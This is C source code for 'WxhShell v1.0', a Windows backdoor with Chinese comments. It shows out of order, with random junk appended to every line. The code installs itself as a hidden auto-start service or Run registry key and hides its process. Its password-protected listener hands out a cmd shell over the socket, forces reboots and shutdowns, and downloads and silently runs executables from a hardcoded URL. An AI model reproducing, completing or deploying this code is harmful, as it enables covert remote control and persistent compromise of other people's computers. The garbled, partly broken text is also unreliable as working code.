    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (o,&P9  
    else { ruM16*S{=  
    closesocket(wsh); z<~gv"  
    ExitThread(0); Xidt\08s  
    } 6Cut[*lj^  
    break; S5ofe]tS@  
    } KOWxP47b  
  // 获取shell O$B]#]L+  
  case 's': { X]q,A5g  
    CmdShell(wsh); aTC7H]e  
    closesocket(wsh); 6N >ksqo8%  
    ExitThread(0); mqGp]'{  
    break; x\j6=|  
  } .IYE+XzV  
  // 退出 S2)rkX$  
  case 'x': { ,,r%Y&:`6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -b-Pvw4  
    CloseIt(wsh); 4 Yq|Z  
    break; zO`54^  
    } u]P0:)tS.  
  // 离开 /ve8);cH\  
  case 'q': { VIL #q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ml8'=KN_  
    closesocket(wsh); ANh5-8y  
    WSACleanup(); >\b=bT@iM  
    exit(1); 2s,wC!',  
    break; ( q^umw  
        } W`] ,  
  } 8Pklw^k   
  } RRy3N )HR  
k3se<NL[  
  // 提示信息 HUurDgRi]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;pdW7  
} Qh-k[w0  
  } 9I/o;Js  
+` B m  
  return; ulsr)Ik  
} b w5|gmO  
6Gjr8  
// shell模块句柄 NS "hdyA  
int CmdShell(SOCKET sock) 0V*L",9M  
{ S~`& K  
STARTUPINFO si; u79.`,Ad&  
ZeroMemory(&si,sizeof(si)); }9e4?7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /EhojODMF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <'QH e4  
PROCESS_INFORMATION ProcessInfo; Dm6WSp1|b  
char cmdline[]="cmd"; Bsw5A7,-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 94"R&|  
  return 0; pU)wxv[~  
} ]>K%,}PS  
2a2C z'G  
// 自身启动模式 >L?)f3_a  
int StartFromService(void) *""'v   
{ uY5&93R  
typedef struct FLY#   
{ [Fe`}F}Co8  
  DWORD ExitStatus; waXA%u50  
  DWORD PebBaseAddress; _ I+#K M  
  DWORD AffinityMask; $Y][-8{t  
  DWORD BasePriority; 2#5SI  
  ULONG UniqueProcessId; <R}(UK  
  ULONG InheritedFromUniqueProcessId; [|V<e+>T/  
}   PROCESS_BASIC_INFORMATION; mY2 Ubn*  
t)XNS!6#]?  
PROCNTQSIP NtQueryInformationProcess; gPY2Bnw;l  
D52ELr7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; swuW6p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a9}cpfG=)  
y!fV+S,  
  HANDLE             hProcess; {PGNPxUbe  
  PROCESS_BASIC_INFORMATION pbi; e4Ol:V  
u*Eb4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /r Zj=  
  if(NULL == hInst ) return 0; "YHqls}c  
31k.{dnm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C/ow{MxA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9f;\fe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~:Dr]kt  
<oTIzj7f  
  if (!NtQueryInformationProcess) return 0; `TKe+oS)  
l,HMm|oU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i;`r zsRb  
  if(!hProcess) return 0; s CSrwsbhv  
U,Nf&g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TIlcdpwXf  
>f4H<V-  
  CloseHandle(hProcess); 8$-(%  
828E^Q"<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8.Wf^j$+{  
if(hProcess==NULL) return 0; YmFJlMK  
}'a}s0h  
HMODULE hMod; Gr&5 mniu  
char procName[255]; eiI}:5~ /g  
unsigned long cbNeeded; =yOIP@  
=9FY;9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [F%INl-sy  
n  !]_o  
  CloseHandle(hProcess); dGf{d7D  
G/\t<>O8o  
if(strstr(procName,"services")) return 1; // 以服务启动 )nJs9}( 0  
~\<Fq\.x  
  return 0; // 注册表启动 ?8fa/e  
} g5lf- }?  
$fV47;U'*  
// 主模块 ]$!-%pNv  
int StartWxhshell(LPSTR lpCmdLine) {LVii}<  
{ ,95Nj h  
  SOCKET wsl; =K~<& l8  
BOOL val=TRUE; BZ<Q.:)  
  int port=0; 4]u53`  
  struct sockaddr_in door; NMM0'tY~  
rq Dre`m  
  if(wscfg.ws_autoins) Install(); DG}t!  
d%NO_=I.  
port=atoi(lpCmdLine); 3i=+ [  
]6Kx0mW  
if(port<=0) port=wscfg.ws_port; ]re1$ W#*  
)t{?7wy  
  WSADATA data; L0Bcx|)"$`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h)7{Cj  
;'NB6[x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~[e;{45V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qk{2%,u$@{  
  door.sin_family = AF_INET; |E&a3TQW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sL75C|f9  
  door.sin_port = htons(port); ^C^FxIA&  
<5rp$AzT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $(K[W}  
closesocket(wsl); puA~}6C  
return 1; h7f&7v  
} b=horvs/!  
d4t %/Uh  
  if(listen(wsl,2) == INVALID_SOCKET) { }&Ngh4/  
closesocket(wsl); }p$>V,u  
return 1; q asbK:}  
} !#` .Mv Z  
  Wxhshell(wsl); py VTA1  
  WSACleanup(); I9rWut@+  
wO/}4>\  
return 0; URdCV{@42  
Lqq RuKi  
} ;D&FZ|`(u  
[Nbs{f^J=  
// 以NT服务方式启动 vx62u29m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |RS9N_eRt  
{ <V0]~3  
DWORD   status = 0; '`&gSL.1a@  
  DWORD   specificError = 0xfffffff; nh"nSBRxk  
UUJbF$@;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oP;"`^_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 109dB$+$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -b"mx"'?  
  serviceStatus.dwWin32ExitCode     = 0; 5RXZ$/  
  serviceStatus.dwServiceSpecificExitCode = 0; fT.18{'>  
  serviceStatus.dwCheckPoint       = 0; WcqQR))n  
  serviceStatus.dwWaitHint       = 0; | s%--W  
XUc(7>k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )0 UVT[7  
  if (hServiceStatusHandle==0) return; _[u&}i  
Vw :.'-Oi  
status = GetLastError(); =+;l>mn?O  
  if (status!=NO_ERROR) 8Y?zxmwn]  
{ _rt+OzZ*L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Evu`e=LaG  
    serviceStatus.dwCheckPoint       = 0; ,|6 O}E&  
    serviceStatus.dwWaitHint       = 0; FFX-kS  
    serviceStatus.dwWin32ExitCode     = status; 0=O(+ yi  
    serviceStatus.dwServiceSpecificExitCode = specificError; wd*8w$\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9"hH2jc  
    return;  "TE F  
  } >>/|Q:  
s)C5u;3!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RQxL`7H  
  serviceStatus.dwCheckPoint       = 0; /}A"F[5  
  serviceStatus.dwWaitHint       = 0; n]:Xmi8p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4o?_G[  
} " O0p.o  
EZnXS"z  
// 处理NT服务事件,比如:启动、停止 U|SF;T .  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n'*4zxAA  
{ 2q]y(kW+  
switch(fdwControl) ,yc_r= _  
{ eA q/[(  
case SERVICE_CONTROL_STOP: xe?!UCUb@  
  serviceStatus.dwWin32ExitCode = 0; VF[$hs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -([ ipg(r  
  serviceStatus.dwCheckPoint   = 0; ~ +DPq|-O  
  serviceStatus.dwWaitHint     = 0; j"=F\S&!  
  { mbT4K8<^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XzLB#0  
  } &?X0;,5)  
  return; BwOIdz%]OY  
case SERVICE_CONTROL_PAUSE: 1.Kun !w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ayF+2(vch)  
  break; xb{G:v  
case SERVICE_CONTROL_CONTINUE: r+ v?~m!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {<ms;Oi'  
  break; p1t qwV  
case SERVICE_CONTROL_INTERROGATE: IE*eDj  
  break; xs#g  
}; >,%or cN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #<h//<  
} >u?m Bx  
+/O3L=QyJ  
// 标准应用程序主函数 (U@Ks )  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _EPfeh;  
{ ;::]R'F[  
|m{u]9  
// 获取操作系统版本 1N\/61+aA  
OsIsNt=GetOsVer(); l9{}nz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P=3mLz-  
 T.d1?  
  // 从命令行安装 ,f*Q3 S/I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7b8+"5~  
2F7(Y)  
  // 下载执行文件 P^'TI[\L9  
if(wscfg.ws_downexe) { :/A7Z<u,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ymvd3>_  
  WinExec(wscfg.ws_filenam,SW_HIDE); zTBf.A;e7  
} f4'WT  
&|9K~#LVS  
if(!OsIsNt) { a gk w)#  
// 如果时win9x,隐藏进程并且设置为注册表启动 KBC?SxJSJc  
HideProc(); trx y3k;  
StartWxhshell(lpCmdLine); +H{TV#+r  
} [D%(Y ~2  
else {,NF'x4$  
  if(StartFromService()) [?>\]  
  // 以服务方式启动 &&PXWR!%]  
  StartServiceCtrlDispatcher(DispatchTable); lcVZ 32MQ  
else uH{oJSrK  
  // 普通方式启动 %eOO8^N  
  StartWxhshell(lpCmdLine); gOy;6\/  
l+nT$IPF  
return 0; wn-1fz <d  
} *Jwx,wF}4  
ldFR%v> 9  
zgNzdO/B  
=;Q:z^S  
=========================================== 3xIelTf*  
/7N&4FrG  
}3O 0nab  
qdnwaJ;&  
&J?:wC=E  
/hN;\Z[@  
" v<3KxP'a  
=h\unQ1T  
#include <stdio.h> 'MgYSP<  
#include <string.h> c/DK31K  
#include <windows.h> O!G!Gq&  
#include <winsock2.h> zm!M'|~@7  
#include <winsvc.h> 4`e[gvh  
#include <urlmon.h> q6'Q-e)  
!8e;3W  
#pragma comment (lib, "Ws2_32.lib") -e4TqzRr  
#pragma comment (lib, "urlmon.lib") : X}n[K  
9Iu"DOxX%  
#define MAX_USER   100 // 最大客户端连接数 .H@b zm  
#define BUF_SOCK   200 // sock buffer Cs4ks`Z18  
#define KEY_BUFF   255 // 输入 buffer ~^TH5n  
R53^3"q~  
#define REBOOT     0   // 重启 Xp+lpVcJ  
#define SHUTDOWN   1   // 关机 r;^%D(  
j7BLMTF3v  
#define DEF_PORT   5000 // 监听端口 VUi> ]v/e  
)+Y"4?z~  
#define REG_LEN     16   // 注册表键长度 =PF2p'.o  
#define SVC_LEN     80   // NT服务名长度 D7r&z?  
s0O]vDTR,H  
// 从dll定义API [ $5u:*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Nw&l@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n$ rgJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {'p < o$(S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HLkI?mW<  
p#%*z~ui  
// wxhshell配置信息 _\8jnpT:  
struct WSCFG { fK^W6)uuV  
  int ws_port;         // 监听端口 s:k ?-u@  
  char ws_passstr[REG_LEN]; // 口令 Lb?WhjqZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;}Ei #T,D  
  char ws_regname[REG_LEN]; // 注册表键名 ",xTgB3?V  
  char ws_svcname[REG_LEN]; // 服务名 f(G1xw]]@Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c@2a)S8Y]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G@KDRv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TSD7R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ppo0DC\>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9 JhCSw-<)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u`ry CZo#g  
k;B[wEW@  
}; ]$u C~b   
+ ZK U2N*  
// default Wxhshell configuration g >@a  
struct WSCFG wscfg={DEF_PORT, bg!(B<!X  
    "xuhuanlingzhe", x6)qs-  
    1, H:|.e)$i  
    "Wxhshell", k`;d_eW  
    "Wxhshell", '?jsH+j+  
            "WxhShell Service", "=w:LRw  
    "Wrsky Windows CmdShell Service", Er;qs*f  
    "Please Input Your Password: ", NLra"Z  
  1, ^Ze(WE)  
  "http://www.wrsky.com/wxhshell.exe", &~Y%0&F,&  
  "Wxhshell.exe" qm"SN<2S*  
    }; ;mYZ@g%e  
^J&D)&"j  
// 消息定义模块 :C>iV+B j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C1fd@6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b}DC|?~M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *u-$$@|y  
char *msg_ws_ext="\n\rExit."; h\p!J-V  
char *msg_ws_end="\n\rQuit."; E~#G_opQA  
char *msg_ws_boot="\n\rReboot..."; dl"=ZI '^  
char *msg_ws_poff="\n\rShutdown..."; 0hhxTOp  
char *msg_ws_down="\n\rSave to "; Rc:}%a%e  
2i0;b|-=  
char *msg_ws_err="\n\rErr!"; !u'xdV+bf  
char *msg_ws_ok="\n\rOK!"; "F}dZ  
z#Fel/L`O  
char ExeFile[MAX_PATH]; q 'd]  
int nUser = 0; ]ag{sU@#  
HANDLE handles[MAX_USER]; Q5}XD  
int OsIsNt; s1E 0atT  
tfe]=_U  
SERVICE_STATUS       serviceStatus; 0%Le*C'yk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c~4Cpy^  
ZY8w1:'  
// 函数声明 tkH]_cH'w  
int Install(void); g^Hf^%3xP  
int Uninstall(void); qTK(sW  
int DownloadFile(char *sURL, SOCKET wsh); %W8iC%~  
int Boot(int flag); o">~ObR  
void HideProc(void); M(nzJ  
int GetOsVer(void);  ?HRS*  
int Wxhshell(SOCKET wsl); "-djA,`  
void TalkWithClient(void *cs); Pro?xY$E)  
int CmdShell(SOCKET sock); <5D4h!  
int StartFromService(void); Xy%||\P{)  
int StartWxhshell(LPSTR lpCmdLine); {Ef.wlZ  
ii_kgqT^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }LCm_av  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <T?-A}0uO  
8^^ 1h  
// 数据结构和表定义 !(7m/R  
SERVICE_TABLE_ENTRY DispatchTable[] = kc0MQ TJU  
{ Pn^`_  
{wscfg.ws_svcname, NTServiceMain}, sQ340!  
{NULL, NULL} aoZ| @x  
}; m5iCvOP  
M 9-Q  
// 自我安装 :A z lls  
int Install(void) aXQS0>G%(  
{ .CnZMw{'  
  char svExeFile[MAX_PATH]; ;-8.~Sm  
  HKEY key; dVYY:1PS  
  strcpy(svExeFile,ExeFile); WKiP0~  
QmjE\TcK/  
// 如果是win9x系统,修改注册表设为自启动 ;&n iZKoe  
if(!OsIsNt) { y%ij)vQY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jhf# gdz%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HA8A}d~  
  RegCloseKey(key); faDS!E' +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NuPlrCy;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n<bU'n  
  RegCloseKey(key); AwXzI;F^  
  return 0; L'r&'y[  
    } z?<B@\~  
  } lHtywZ@%3  
} rbnAC*y8'L  
else { QK?V^E  
s2"`j-iQ  
// 如果是NT以上系统,安装为系统服务 b6 %m*~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  NdRcA  
if (schSCManager!=0) _,!0_\+i  
{ e2v`  
  SC_HANDLE schService = CreateService {daX?N|V  
  ( #%Bt!#  
  schSCManager, ?[d4HKs  
  wscfg.ws_svcname, >({qgzV`  
  wscfg.ws_svcdisp, eJTU'aX*   
  SERVICE_ALL_ACCESS, A[uE#T ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )I[f(f%W7  
  SERVICE_AUTO_START, {iX#  
  SERVICE_ERROR_NORMAL, !Pw*p*z  
  svExeFile, |J,zU6t  
  NULL, aSvv(iV  
  NULL, !Ztqh Xr  
  NULL, _]OY[&R  
  NULL, QZ l#^-on  
  NULL tO{{ci$-T  
  ); !h4T3sO  
  if (schService!=0) : c~SH/qS  
  { TL2E|@k1]  
  CloseServiceHandle(schService); @>Yd6C  
  CloseServiceHandle(schSCManager); R1X'}#mU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .*x:  
  strcat(svExeFile,wscfg.ws_svcname);  >9!J?HA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mFF4qbe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >2znn&g Z  
  RegCloseKey(key); A|8"}Hm  
  return 0; ~jL%l  
    } 0WC\u xT7  
  } S~);   
  CloseServiceHandle(schSCManager); (O{OQk;CF  
} fr/EkL1Dl  
} ):'wxIVGI  
86OrJdD8  
return 1; U;#KFZ+~  
} &Gjpc>d  
?{qUn8f2  
// 自我卸载 g %mCg P  
int Uninstall(void) )]j3-#  
{ (M$0'BV0  
  HKEY key; s{@R|5  
G<e+sDQ2  
if(!OsIsNt) { q13fmK(n-5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -*' ?D@l  
  RegDeleteValue(key,wscfg.ws_regname); 4>=M"D hB  
  RegCloseKey(key); _ l|%~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~D9Cu>d9  
  RegDeleteValue(key,wscfg.ws_regname); ?YW~7zG  
  RegCloseKey(key); 3W7^,ir  
  return 0; QMBT8x/+_'  
  } bFX{|&tHU  
} KkZx6A)$u  
} iSCkV2  
else { ZU`9]7"87B  
Ax&!Nz+?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zbxW U]<S?  
if (schSCManager!=0) _=~u\$  
{ ri{*\LV*@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P:'wSE91  
  if (schService!=0) vW=-RTRH  
  { H ni^S  
  if(DeleteService(schService)!=0) { ML_VD*t9  
  CloseServiceHandle(schService); euB1}M  
  CloseServiceHandle(schSCManager); cF8  2wg  
  return 0; _/LGGt4&%  
  } |T6K?:U7  
  CloseServiceHandle(schService); [Kwj 7q`  
  } JJd qdX;  
  CloseServiceHandle(schSCManager); RRt(%Wm*  
} wtek5C^  
} XLn9NBT4K  
==[=Da~  
return 1; mLuNl^)3  
} /xk7Z q  
pJ] Ix *M  
// 从指定url下载文件 " #iJ/vy  
int DownloadFile(char *sURL, SOCKET wsh) }*6BaB  
{ =IC.FT}  
  HRESULT hr; KQPu9f9  
char seps[]= "/"; @PvO;]]%  
char *token; .rtA sbp.!  
char *file; L~6%Fi&n4  
char myURL[MAX_PATH]; BTkx}KK  
char myFILE[MAX_PATH]; \P.h;|u  
G]=z ![$  
strcpy(myURL,sURL); r !Aj5  
  token=strtok(myURL,seps); eB5>uKa  
  while(token!=NULL) mU #F>  
  { 4f\NtQ)  
    file=token; yiZtG#6K{  
  token=strtok(NULL,seps); 0)WAQt\/  
  } _= v4Iz0  
2$Mnwxfk  
GetCurrentDirectory(MAX_PATH,myFILE); .gJ2P?  
strcat(myFILE, "\\"); oN1D&*  
strcat(myFILE, file); Wi&v?nm  
  send(wsh,myFILE,strlen(myFILE),0); %)lp]Y33  
send(wsh,"...",3,0); \1<'XVS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L0wT:x*  
  if(hr==S_OK) ^o3,YH  
return 0; >38>R0k35  
else |R9Lben',  
return 1; ~*iF`T6  
LlX)xJ  
} |C4fg6XDL  
Pzso^^g  
// 系统电源模块 6j6CA?|  
int Boot(int flag) }:#WjH^  
{ LL(xi )  
  HANDLE hToken; 8S1@,O,  
  TOKEN_PRIVILEGES tkp; NpH8=H9  
0zr27ko  
  if(OsIsNt) { x0<;Rm [u=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .#yg=t1C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EsGu#lD2  
    tkp.PrivilegeCount = 1; O@Aazc5K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '3>;8(s l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DU!T#H7  
if(flag==REBOOT) { '3l TI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B#V""[Y9  
  return 0; *cb|9elF^  
} E`fG9:6l]  
else { )7 p" -  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =?OU^ u`C  
  return 0; OXQ*Xpc  
} ?Y~t{5NJR  
  } DhM=q  
  else { Z 8rD9 k$6  
if(flag==REBOOT) { *I]]Ogpq=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H+[?{+"#@l  
  return 0; 1 (<n^\J(  
} eI1zRoIl-  
else { A%8 Q}s$<s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Av.tr&ZNb  
  return 0; Y7t#)?  
} A 6S0dX  
} dtR"5TL<~}  
['mpxtG  
return 1; k)b{ UFRW  
} ]\M{Abqd{  
VIp|U{  
// win9x进程隐藏模块 9mi@PW}1  
void HideProc(void) layxtECP(  
{ q}@L"a`  
hZ45i?%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N1'`^ay$  
  if ( hKernel != NULL ) egq,)6>  
  { w 0BphK[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %> XsKXj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |*{*tW C1  
    FreeLibrary(hKernel); O\=Z;}<N  
  } =0cTct6\  
OR@ 67Y  
return; 9kD#'BxC  
} 8T3,56 >  
^)dsi  
// 获取操作系统版本 CPJ<A,V  
int GetOsVer(void) doanTF4Da  
{ 5eTA]  
  OSVERSIONINFO winfo; %L.S~dN6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ux_tzd0!  
  GetVersionEx(&winfo); |Rf j 0+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G+c&e:ip<  
  return 1; xv]z>4@z,  
  else [7@blU  
  return 0; /]U$OP*0  
} | #yu  
if'=W6W  
// 客户端句柄模块  kORWj<  
int Wxhshell(SOCKET wsl) /!Rva"  
{ x@  =p  
  SOCKET wsh; >fC&bab  
  struct sockaddr_in client; ']nIa7  
  DWORD myID; TQn!MUj/^  
oKn$g[,SJh  
  while(nUser<MAX_USER) r8m}B#W7  
{ a OmG,+o  
  int nSize=sizeof(client); J*zzjtY( 1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Al yJ!f"Y  
  if(wsh==INVALID_SOCKET) return 1; o26Y }W  
0C<\m\|~k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 85E$m'0O  
if(handles[nUser]==0) vU>^  
  closesocket(wsh); 0fqcPi  
else XC3)#D#HGh  
  nUser++; n5QO'Jr%[  
  } #*A&jo'E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mq91HmC(@  
gN/!w:  
  return 0; b~^'P   
} /O[6PG  
2c Xae  
// 关闭 socket ^(;x-d3  
void CloseIt(SOCKET wsh) o CCtjr  
{ ROkwjw  
closesocket(wsh); qJ;~ANwt  
nUser--; sV"tN2W@  
ExitThread(0); %wbdg&^  
} u(Mbp$R' ?  
?i<l7   
// 客户端请求句柄 }%XB*pzQ  
void TalkWithClient(void *cs) 0N1t.3U  
{ L\4rvZa  
8O^x~[sQ  
  SOCKET wsh=(SOCKET)cs; >M5}L<  
  char pwd[SVC_LEN]; mu B Y  
  char cmd[KEY_BUFF]; XoyxS:=>|[  
char chr[1]; :cA P{rSe  
int i,j; a#1r'z~]}  
KGJSGvo+y  
  while (nUser < MAX_USER) { 0L>3 i8'  
@ 51!3jeu  
if(wscfg.ws_passstr) { Oem1=QpaC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~|KqG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `v?hL~  
  //ZeroMemory(pwd,KEY_BUFF); ho>@ $9  
      i=0; qK'mF#n0#  
  while(i<SVC_LEN) { s`x2Go  
%/2 ` u  
  // 设置超时 `*U@d%a  
  fd_set FdRead; e,OXngC  
  struct timeval TimeOut; gNr4oOR{  
  FD_ZERO(&FdRead); Jz''UJY/O  
  FD_SET(wsh,&FdRead); O+-+=W  
  TimeOut.tv_sec=8; fS}Eu4Xe  
  TimeOut.tv_usec=0; ](oeMl18R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =)bOteWM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ls2OnL9  
@6ckB (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OG#^d5(  
  pwd=chr[0]; lZwjrU| _  
  if(chr[0]==0xd || chr[0]==0xa) { C 9%bD  
  pwd=0; 0-p^o A  
  break; Ow-ejo  
  } lz=DGm  
  i++; m !:F/?B  
    } Ps0 Cc_  
`pbCPa{Y  
  // 如果是非法用户,关闭 socket b#7nt ?`7p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (B` NnL$  
} $U,]c  
jpi,BVTI-X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5JOfJ$(n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l4kqz.Z-g  
,U9j7E<4  
while(1) { %#% YU|4R  
,8*A#cT B  
  ZeroMemory(cmd,KEY_BUFF); <w&'E6mU  
A#$l;M.3R  
      // 自动支持客户端 telnet标准   &# fPJc  
  j=0; di_N}x*  
  while(j<KEY_BUFF) { -AnJLFY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Nh])p-  
  cmd[j]=chr[0]; oxFd@WV5  
  if(chr[0]==0xa || chr[0]==0xd) {  e$  
  cmd[j]=0; >%"TrAt  
  break; eZ) |m  
  } CMC p7- v  
  j++; tln}jpCw  
    } <c@dE  
4PSbr$  
  // 下载文件 Q-, 4  
  if(strstr(cmd,"http://")) { W[QgddR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tQj=m_  
  if(DownloadFile(cmd,wsh)) !o'a]8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h9S f  
  else +4t \j<T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :SFf}  
  } -X EK[  
  else { 34k(:]56|  
:qXREF@h  
    switch(cmd[0]) { P Jb /tKC  
  0lt1/PEKx2  
  // 帮助 QdZHIgh`i  
  case '?': { AJ 0Bb7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xj?LU7  
    break; \(Dm\7Q.  
  } $xvwnbq#y  
